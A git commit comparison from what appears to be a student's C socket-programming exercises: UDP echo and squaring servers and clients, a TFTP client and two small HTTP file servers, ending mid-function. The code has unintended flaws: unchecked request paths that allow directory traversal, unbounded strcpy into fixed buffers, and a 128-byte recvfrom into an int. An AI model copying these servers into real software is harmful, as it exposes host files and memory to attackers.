Compare commits
11 Commits
e982d860bc
..
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 93ec33f5b6 | |||
| 5cdb1cc311 | |||
| dd22bec895 | |||
| 1f079cfddd | |||
| 08c65c47cb | |||
| 6269ec8a5c | |||
| 245ea3738e | |||
| 1fac49bb9b | |||
| 1b4be013eb | |||
| 7e1109bb84 | |||
| b76a645e57 |
@@ -142,3 +142,4 @@ compile_commands.json
|
|||||||
|
|
||||||
*_qmlcache.qrc
|
*_qmlcache.qrc
|
||||||
|
|
||||||
|
*.vscode
|
||||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,70 @@
|
|||||||
|
// 编写一个UDP服务器程序,接收客户端发送的字符串,并将其转换为大写后发送回客户端。
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <ctype.h> // toupper
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||||
|
|
||||||
|
if (bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)) != 0)
|
||||||
|
{
|
||||||
|
perror("bind");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("bind success\n");
|
||||||
|
|
||||||
|
struct sockaddr_in src_addr;
|
||||||
|
char buf[128] = ""; // 接收数据的空间
|
||||||
|
socklen_t socklen = sizeof(src_addr);
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
bzero(&src_addr, sizeof(src_addr));
|
||||||
|
bzero(buf, 128);
|
||||||
|
|
||||||
|
// 接收数据,如果数据未到达,则会阻塞,直到数据到达为止
|
||||||
|
ssize_t len = recvfrom(sock_fd, buf, sizeof(buf), 0, (struct sockaddr *)&src_addr, &socklen);
|
||||||
|
if (len < 0)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
char srcIP[INET_ADDRSTRLEN]; // 16
|
||||||
|
int port = ntohs(src_addr.sin_port); // 将网络字节序转化为本地字节序
|
||||||
|
inet_ntop(AF_INET, &src_addr.sin_addr.s_addr, srcIP, INET_ADDRSTRLEN); // 将网络数字转换为点分十进制 ip
|
||||||
|
|
||||||
|
printf("从 %s:%d 位置接收到的数据(%lu Bytes): %s\n", srcIP, port, len, buf);
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while (buf[i])
|
||||||
|
{
|
||||||
|
buf[i] = toupper(buf[i]); // 转大写
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
sendto(sock_fd, buf, len, 0, (struct sockaddr *)&src_addr, socklen);
|
||||||
|
printf("发送回去的消息为 %s\n", buf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
// 编写一个UDP客户端程序, 向服务器发送一个字符串, 并接收服务器返回的字符串并打印出来。
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 指定服务器地址
|
||||||
|
|
||||||
|
// 创建发送的数据
|
||||||
|
char buf[128] = "this msg is from client";
|
||||||
|
|
||||||
|
// 发送 udp 数据
|
||||||
|
ssize_t n = sendto(sock_fd, buf, strlen(buf), 0, (struct sockaddr *)&addr, sizeof(addr)); // 将 buf 数据发送给服务器
|
||||||
|
if (n > 0)
|
||||||
|
{
|
||||||
|
perror("发送成功\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
socklen_t addrlen = sizeof(addr);
|
||||||
|
|
||||||
|
ssize_t recvlen = recvfrom(sock_fd, buf, 128, 0, (struct sockaddr *)&addr, &addrlen); // 从服务器获取数据到 buf
|
||||||
|
if (recvlen < 0)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("从服务器获取的数据为 %s\n", buf);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
// 编写一个UDP服务器程序, 接收客户端发送的整数, 计算其平方并发送回客户端
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||||
|
|
||||||
|
if (bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)) != 0)
|
||||||
|
{
|
||||||
|
perror("bind");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("bind success\n");
|
||||||
|
|
||||||
|
struct sockaddr_in src_addr;
|
||||||
|
int n = 0; // 接收数的空间
|
||||||
|
socklen_t socklen = sizeof(src_addr);
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
bzero(&src_addr, sizeof(src_addr));
|
||||||
|
|
||||||
|
// 接收数据,如果数据未到达,则会阻塞,直到数据到达为止
|
||||||
|
ssize_t len = recvfrom(sock_fd, &n, sizeof(n), 0, (struct sockaddr *)&src_addr, &socklen);
|
||||||
|
if (len < 0)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
char srcIP[INET_ADDRSTRLEN]; // 16
|
||||||
|
int port = ntohs(src_addr.sin_port); // 将网络字节序转化为本地字节序
|
||||||
|
inet_ntop(AF_INET, &src_addr.sin_addr.s_addr, srcIP, INET_ADDRSTRLEN); // 将网络数字转换为点分十进制 ip
|
||||||
|
|
||||||
|
printf("从 %s:%d 位置接收到的数字为(%lu Bytes): %d\n", srcIP, port, len, n);
|
||||||
|
|
||||||
|
int n_to_square = n * n;
|
||||||
|
|
||||||
|
sendto(sock_fd, &n_to_square, len, 0, (struct sockaddr *)&src_addr, socklen);
|
||||||
|
printf("发送回去的平方值为 %d\n", n_to_square);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
// 编写一个UDP客户端程序, 向服务器发送一个整数, 接收服务器返回的整数并打印出来。
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
bzero(&addr, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons(8000);
|
||||||
|
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 指定服务器地址
|
||||||
|
|
||||||
|
// 创建发送的数据
|
||||||
|
int n = 5;
|
||||||
|
|
||||||
|
// 发送 udp 数据
|
||||||
|
ssize_t sendnum = sendto(sock_fd, &n, sizeof(n), 0, (struct sockaddr *)&addr, sizeof(addr)); // 将 buf 数据发送给服务器
|
||||||
|
if (sendnum > 0)
|
||||||
|
{
|
||||||
|
perror("发送成功\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
socklen_t addrlen = sizeof(addr);
|
||||||
|
|
||||||
|
ssize_t recvlen = recvfrom(sock_fd, &n, 128, 0, (struct sockaddr *)&addr, &addrlen); // 从服务器获取数据到 buf
|
||||||
|
if (recvlen < 0)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("从服务器获取的平方值为 %d\n", n);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Executable
BIN
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Executable
BIN
Binary file not shown.
@@ -0,0 +1,95 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
|
||||||
|
/*
|
||||||
|
./a.out server_ip 下载的文件名
|
||||||
|
*/
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
if (argc != 3)
|
||||||
|
{
|
||||||
|
printf("usage: %s server_ip filename\n", argv[0]);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct stat st;
|
||||||
|
stat(argv[2], &st);
|
||||||
|
int tsize = st.st_size;
|
||||||
|
// 生成请求数据包
|
||||||
|
char request[64];
|
||||||
|
// char *tsize = 0;
|
||||||
|
int request_size = sprintf(request, "%c%c%s%c%s%c%d%c", 0, 1, argv[2], 0, "octet", 0, tsize, 0);
|
||||||
|
|
||||||
|
// 发送请求
|
||||||
|
struct sockaddr_in server_addr;
|
||||||
|
bzero(&server_addr, sizeof(server_addr));
|
||||||
|
server_addr.sin_family = AF_INET;
|
||||||
|
server_addr.sin_port = htons(69); // 服务器TFTP端口
|
||||||
|
server_addr.sin_addr.s_addr = inet_addr(argv[1]); // 服务器地址
|
||||||
|
|
||||||
|
sendto(sock_fd, request, request_size, 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
|
||||||
|
|
||||||
|
char buf[516] = "";
|
||||||
|
struct sockaddr_in data_addr;
|
||||||
|
socklen_t data_addr_len = sizeof(data_addr);
|
||||||
|
bzero(&data_addr, sizeof(data_addr));
|
||||||
|
ssize_t len = recvfrom(sock_fd, buf, 516, 0, (struct sockaddr *)&data_addr, &data_addr_len);
|
||||||
|
|
||||||
|
// 验证接收的数据是否是 OK
|
||||||
|
if (buf[1] == 3)
|
||||||
|
{
|
||||||
|
// printf("收到的文件大小为 %d\n", tsize);
|
||||||
|
// 创建本地文件的描述符(打开或创建文件)
|
||||||
|
int fd = open(argv[2], O_CREAT | O_WRONLY, 0666);
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
printf("文件名为 %s,文件大小为 %s\n", argv[2], buf + 2);
|
||||||
|
|
||||||
|
// 收到的是数据报
|
||||||
|
write(fd, buf + 4, len - 4);
|
||||||
|
// 回ACK
|
||||||
|
buf[1] = 4;
|
||||||
|
// buf[2] = "tsize";
|
||||||
|
sendto(sock_fd, buf, 4, 0, (struct sockaddr *)&data_addr, sizeof(data_addr));
|
||||||
|
if (len < 516)
|
||||||
|
{
|
||||||
|
printf("数据接收完成\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
bzero(&data_addr, data_addr_len);
|
||||||
|
bzero(buf, sizeof(buf));
|
||||||
|
len = recvfrom(sock_fd, buf, 516, 0, (struct sockaddr *)&data_addr, &data_addr_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
else if (buf[1] == 5)
|
||||||
|
{
|
||||||
|
// 收到的是错误信息
|
||||||
|
printf("error: %s\n", buf + 4);
|
||||||
|
}
|
||||||
|
// else if (buf[1] == 6)
|
||||||
|
// {
|
||||||
|
// // 收到OACK包,包含请求选项回传的值
|
||||||
|
// printf("文件名为 %s,文件大小为 %s\n", argv[2], buf + 2);
|
||||||
|
// }
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
+196
@@ -0,0 +1,196 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
|
||||||
|
#define BUFFLEN 1024 //缓冲区的大小
|
||||||
|
#define SERVER_PORT 1235 //端口号
|
||||||
|
#define HTTP_FILENAME_LEN 256
|
||||||
|
|
||||||
|
struct doc_type
|
||||||
|
{
|
||||||
|
char *suffix;
|
||||||
|
char *type;
|
||||||
|
};
|
||||||
|
//返回内容对应 MIME 类型
|
||||||
|
struct doc_type file_type[] =
|
||||||
|
{
|
||||||
|
{ "html", "text/html" },
|
||||||
|
{ "ico", "image/x-icon" },
|
||||||
|
{ NULL, NULL }
|
||||||
|
};
|
||||||
|
void * threadFun(void * args);
|
||||||
|
void handle_connect(int serv_sock);
|
||||||
|
void http_parse_request_cmd(char *buf,char *file_name, char *suffix);
|
||||||
|
char *http_get_type_by_suffix(const char *suffix);
|
||||||
|
|
||||||
|
char *http_res_hdr_tmpl = "HTTP/1.1 200 OK\nServer: bianchengbang\n"
|
||||||
|
"Accept-Ranges: bytes\nContent-Length: %d\nConnection: closed\n"
|
||||||
|
"Content-Type: %s\n\n";
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int serv_sock;
|
||||||
|
struct sockaddr_in serv_addr;
|
||||||
|
//创建套接字
|
||||||
|
if ((serv_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
|
||||||
|
printf("套接字创建失败\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
//将套接字与任意 IP 地址和 1234 端口进行绑定
|
||||||
|
memset(&serv_addr, 0, sizeof(serv_addr));
|
||||||
|
serv_addr.sin_family = AF_INET;
|
||||||
|
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||||
|
serv_addr.sin_port = htons(SERVER_PORT);
|
||||||
|
if (bind(serv_sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) == -1) {
|
||||||
|
close(serv_sock);
|
||||||
|
printf("bind()执行失败\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
//让套接字进入被动监听状态
|
||||||
|
if (listen(serv_sock, SOMAXCONN) == -1) {
|
||||||
|
close(serv_sock);
|
||||||
|
printf("listen()执行失败\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
handle_connect(serv_sock);
|
||||||
|
close(serv_sock);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void handle_connect(int serv_sock){
|
||||||
|
int clnt_sock;
|
||||||
|
struct sockaddr_in clnt_addr;
|
||||||
|
socklen_t clnt_addr_size = sizeof(clnt_addr);
|
||||||
|
//死循环,持续不断地接收任意客户端发来的请求
|
||||||
|
while(1){
|
||||||
|
clnt_sock = accept(serv_sock, (struct sockaddr*)&clnt_addr, &clnt_addr_size);//接收客户端发来的请求
|
||||||
|
//单独创建一个线程,处理客户端的请求
|
||||||
|
if(clnt_sock >0){
|
||||||
|
pthread_t myThread;
|
||||||
|
int ret;
|
||||||
|
//threadFun() 为线程要执行的函数,clnt_sock 将作为实参传递给 threadFun() 函数
|
||||||
|
ret = pthread_create(&myThread, NULL, threadFun, &clnt_sock);
|
||||||
|
if (ret != 0) {
|
||||||
|
printf("线程创建失败\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void * threadFun(void * args) {
|
||||||
|
//将子线程和主线程脱离,子线程执行结束后自动释放资源
|
||||||
|
pthread_detach(pthread_self());
|
||||||
|
int clnt_sock = *(int*)args;
|
||||||
|
char buff[BUFFLEN]={0};
|
||||||
|
//获取http请求的字符串,num 为字符串的长度
|
||||||
|
int num = read(clnt_sock, buff, sizeof(buff));
|
||||||
|
if (num > 0) {
|
||||||
|
FILE * fp = NULL;
|
||||||
|
int nCount = 0;
|
||||||
|
int fp_has = 1,fp_type = 1;
|
||||||
|
int file_len, hdr_len;
|
||||||
|
char *type = NULL;
|
||||||
|
char http_header[BUFFLEN];
|
||||||
|
char file_name[HTTP_FILENAME_LEN] = { 0 }, suffix[16] = { 0 };
|
||||||
|
//获取目标文件(含路径)和后缀名
|
||||||
|
http_parse_request_cmd(buff, file_name, suffix);
|
||||||
|
//获取文件对应的 MIME 类型
|
||||||
|
type = http_get_type_by_suffix(suffix);
|
||||||
|
//如果类型未找到,则向客户端发送 errno.html 文件
|
||||||
|
if (type == NULL)
|
||||||
|
{
|
||||||
|
fp_type = 0;
|
||||||
|
printf("访问的文件类型(后缀名)不匹配\n");
|
||||||
|
type = http_get_type_by_suffix("html");
|
||||||
|
fp = fopen("errno.html","rb");
|
||||||
|
}else{
|
||||||
|
fp = fopen(file_name, "rb");
|
||||||
|
//如果服务器未找到目标文件,向客户端发送 errno.html 文件
|
||||||
|
if (fp == NULL) {
|
||||||
|
fp_has = 0;
|
||||||
|
fp = fopen("errno.html","rb");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//计算文件中包含的字节数
|
||||||
|
fseek(fp, 0, SEEK_END);
|
||||||
|
file_len = ftell(fp);
|
||||||
|
fseek(fp, 0, SEEK_SET);
|
||||||
|
//更新 http 响应的字符串
|
||||||
|
hdr_len = sprintf(http_header, http_res_hdr_tmpl, file_len, type);
|
||||||
|
//向客户端发送响应行、响应头和空行
|
||||||
|
write(clnt_sock, http_header, hdr_len);
|
||||||
|
|
||||||
|
if(fp_type == 1){
|
||||||
|
if (fp_has == 0) {
|
||||||
|
printf("服务器不存在 %s 文件\n", file_name);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("服务器存在 %s 文件,发送中...\n",file_name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//向客户端发送文件内容,即响应体
|
||||||
|
memset(buff, 0, BUFFLEN);
|
||||||
|
while ((nCount = fread(buff, 1, BUFFLEN, fp)) > 0) {
|
||||||
|
write(clnt_sock, buff, nCount);
|
||||||
|
memset(buff, 0, BUFFLEN);
|
||||||
|
}
|
||||||
|
fclose(fp);
|
||||||
|
shutdown(clnt_sock, SHUT_WR);
|
||||||
|
read(clnt_sock, buff, sizeof(buff));
|
||||||
|
close(clnt_sock);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *http_get_type_by_suffix(const char *suffix)
|
||||||
|
{
|
||||||
|
struct doc_type *type = NULL;
|
||||||
|
|
||||||
|
for (type = file_type; type->suffix; type++)
|
||||||
|
{
|
||||||
|
if (strcmp(type->suffix, suffix) == 0)
|
||||||
|
return type->type;
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void http_parse_request_cmd(char *buf,char *file_name, char *suffix)
|
||||||
|
{
|
||||||
|
int file_length = 0, suffix_length = 0;
|
||||||
|
char *begin=NULL, *end=NULL, *bias=NULL;
|
||||||
|
|
||||||
|
//查找 URL 的开始位置
|
||||||
|
begin = strchr(buf, ' ');
|
||||||
|
begin += 1;
|
||||||
|
|
||||||
|
//查找 URL 的结束位置
|
||||||
|
end = strchr(begin, ' ');
|
||||||
|
*end = 0;
|
||||||
|
//得到要访问的目标文件(含路径)
|
||||||
|
file_length = end - begin - 1;
|
||||||
|
memcpy(file_name, begin+1, file_length);
|
||||||
|
file_name[file_length] = 0;
|
||||||
|
//获得文件的后缀名
|
||||||
|
bias = strrchr(begin, '/');
|
||||||
|
suffix_length = end - bias;
|
||||||
|
if (*bias == '/')
|
||||||
|
{
|
||||||
|
bias++;
|
||||||
|
suffix_length--;
|
||||||
|
}
|
||||||
|
if (suffix_length > 0)
|
||||||
|
{
|
||||||
|
begin = strchr(file_name, '.');
|
||||||
|
if (begin)
|
||||||
|
strcpy(suffix, begin + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,219 @@
|
|||||||
|
// http网页服务器简单实现
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <signal.h>
|
||||||
|
|
||||||
|
char root_dir[] = "/home/flykhan/html";
|
||||||
|
|
||||||
|
char html_hi[] = "HTTP/1.1 200 OK\r\n"
|
||||||
|
"Server: MyWebServer1.0\r\n"
|
||||||
|
"Content-Type: text/html; charset=utf-8\r\n"
|
||||||
|
"Accept-Ranges: bytes\r\n"
|
||||||
|
"Connection: close\r\n"
|
||||||
|
"\r\n\r\n"
|
||||||
|
"<h3 style=\"color:blue\">hi</h3>\r\n"
|
||||||
|
"\r\n";
|
||||||
|
|
||||||
|
char html_404[] = "HTTP/1.1 404 Not Found\r\n"
|
||||||
|
"Server: MyWebServer1.0\r\n"
|
||||||
|
"Content-Type: text/html; charset=utf-8\r\n"
|
||||||
|
"Accept-Ranges: bytes\r\n"
|
||||||
|
"Connection: close\r\n"
|
||||||
|
"\r\n\r\n"
|
||||||
|
"<h3 style=\"color:red\">Page Not Found 404</h3>\r\n"
|
||||||
|
"\r\n";
|
||||||
|
|
||||||
|
// 正常网页的 HEAD 头
|
||||||
|
char html_ok[] = "HTTP/1.1 200 OK\r\n"
|
||||||
|
"Server: MyWebServer1.0\r\n"
|
||||||
|
"Content-Type: text/html; charset=utf-8\r\n"
|
||||||
|
"Accept-Ranges: bytes\r\n"
|
||||||
|
"Connection: close\r\n"
|
||||||
|
"\r\n\r\n";
|
||||||
|
|
||||||
|
// 正常网页的 图片 头
|
||||||
|
char image_ok[] = "HTTP/1.1 200 OK\r\n"
|
||||||
|
"Server: MyWebServer1.0\r\n"
|
||||||
|
"Content-Type: image/png;\r\n"
|
||||||
|
"Accept-Ranges: bytes\r\n"
|
||||||
|
"Connection: keep-alive\r\n"
|
||||||
|
"Content-Length: %d\r\n"
|
||||||
|
"\r\n\r\n";
|
||||||
|
|
||||||
|
int sock_fd; // 全局定义 服务器 socket 套接字
|
||||||
|
|
||||||
|
// 自定义信号处理函数
|
||||||
|
void signalHandler(int signal)
|
||||||
|
{
|
||||||
|
printf("接收到信号 %d, 套接字为: %d\n", signal, sock_fd);
|
||||||
|
close(sock_fd);
|
||||||
|
// printf("套接字现在为 %d\n", sock_fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 定义结构体:用于描述连接的客户端信息
|
||||||
|
typedef struct client_s
|
||||||
|
{
|
||||||
|
unsigned char ip[INET_ADDRSTRLEN]; // 16
|
||||||
|
int fd;
|
||||||
|
} Client;
|
||||||
|
|
||||||
|
void *client_task(void *arg)
|
||||||
|
{
|
||||||
|
Client *client = (Client *)arg;
|
||||||
|
|
||||||
|
// 读取客户端的请求
|
||||||
|
char buf[1024] = ""; // 存请求报文
|
||||||
|
int len = recv(client->fd, buf, 1024, 0); // 接收数据
|
||||||
|
printf("request data: %s\n", buf);
|
||||||
|
|
||||||
|
// 解析请求(第一行和头属性以及BODY)
|
||||||
|
char *line1 = strtok(buf, "\r\n");
|
||||||
|
printf("%s\n", line1);
|
||||||
|
|
||||||
|
char method_path_[3][100];
|
||||||
|
int i = 0;
|
||||||
|
char *token = strtok(line1, " ");
|
||||||
|
while (token != NULL)
|
||||||
|
{
|
||||||
|
strcpy(method_path_[i], token);
|
||||||
|
i++;
|
||||||
|
token = strtok(NULL, " ");
|
||||||
|
}
|
||||||
|
printf("path: %s\n", method_path_[1]); // 解析出地址路径
|
||||||
|
|
||||||
|
// 查找 html 目录中是否存在此文件
|
||||||
|
if (strcmp(method_path_[1], "/") == 0)
|
||||||
|
{
|
||||||
|
strcpy(method_path_[1], "/index.html");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 拼接服务器文件的完整访问路径
|
||||||
|
char path[200] = "";
|
||||||
|
strcat(path, root_dir); // 拼接根目录路径
|
||||||
|
strcat(path, method_path_[1]); // 拼接请求路径
|
||||||
|
|
||||||
|
printf("filepath: %s\n", path);
|
||||||
|
int file_fd = open(path, O_RDONLY);
|
||||||
|
if (file_fd < 0)
|
||||||
|
{
|
||||||
|
// 文件不存在
|
||||||
|
// 相应 404
|
||||||
|
perror("open");
|
||||||
|
send(client->fd, html_404, sizeof(html_404), 0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// 读取文件的数据(验证读取文件的类型:文本文件、图片文件)
|
||||||
|
|
||||||
|
// 向客户端发送 html_ok 头
|
||||||
|
if (strstr(method_path_[1], ".png") != NULL ||
|
||||||
|
strstr(method_path_[1], ".jpg") != NULL)
|
||||||
|
{
|
||||||
|
// 发图片头
|
||||||
|
struct stat st;
|
||||||
|
stat(path, &st);
|
||||||
|
char _ok[sizeof(image_ok) + 20] = "";
|
||||||
|
sprintf(_ok, image_ok, st.st_size); // 图片头拼接新获取的图片的大小
|
||||||
|
send(client->fd, _ok, strlen(_ok), 0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// 发文本头
|
||||||
|
send(client->fd, html_ok, sizeof(html_ok), 0);
|
||||||
|
}
|
||||||
|
// 向客户端发送文件的数据(页面文件)
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
char file_buf[512] = "";
|
||||||
|
ssize_t read_len = read(file_fd, file_buf, 512);
|
||||||
|
write(client->fd, file_buf, read_len);
|
||||||
|
// send(client->fd, file_buf, read_len, 0);
|
||||||
|
|
||||||
|
if (read_len < 512)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(file_fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 相应一个HELLO主页数据(HTML)
|
||||||
|
// send(client->fd, html_hi, sizeof(html_hi), 0);
|
||||||
|
|
||||||
|
close(client->fd);
|
||||||
|
printf("%s 关闭连接\n", client->ip);
|
||||||
|
free(client); // 回收空间
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 1. 创建 socket
|
||||||
|
sock_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. bind
|
||||||
|
struct sockaddr_in server_addr;
|
||||||
|
bzero(&server_addr, sizeof(server_addr));
|
||||||
|
server_addr.sin_family = AF_INET;
|
||||||
|
server_addr.sin_port = htons(atoi(argv[1]));
|
||||||
|
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||||
|
|
||||||
|
int flag = bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
|
||||||
|
if (flag != 0)
|
||||||
|
{
|
||||||
|
perror("bind");
|
||||||
|
close(sock_fd);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 注册信号处理函数
|
||||||
|
signal(SIGINT, signalHandler); // ctrl + c 发送
|
||||||
|
|
||||||
|
// 3. 创建监听队列
|
||||||
|
listen(sock_fd, 100);
|
||||||
|
|
||||||
|
printf("-----WEB 服务器已开启端口号为:%s-----\n", argv[1]);
|
||||||
|
|
||||||
|
// 4. 开始接收客户端的连接(并发接收多个客户端)
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
struct sockaddr_in client_addr;
|
||||||
|
bzero(&client_addr, sizeof(client_addr));
|
||||||
|
socklen_t client_addr_len = sizeof(client_addr);
|
||||||
|
|
||||||
|
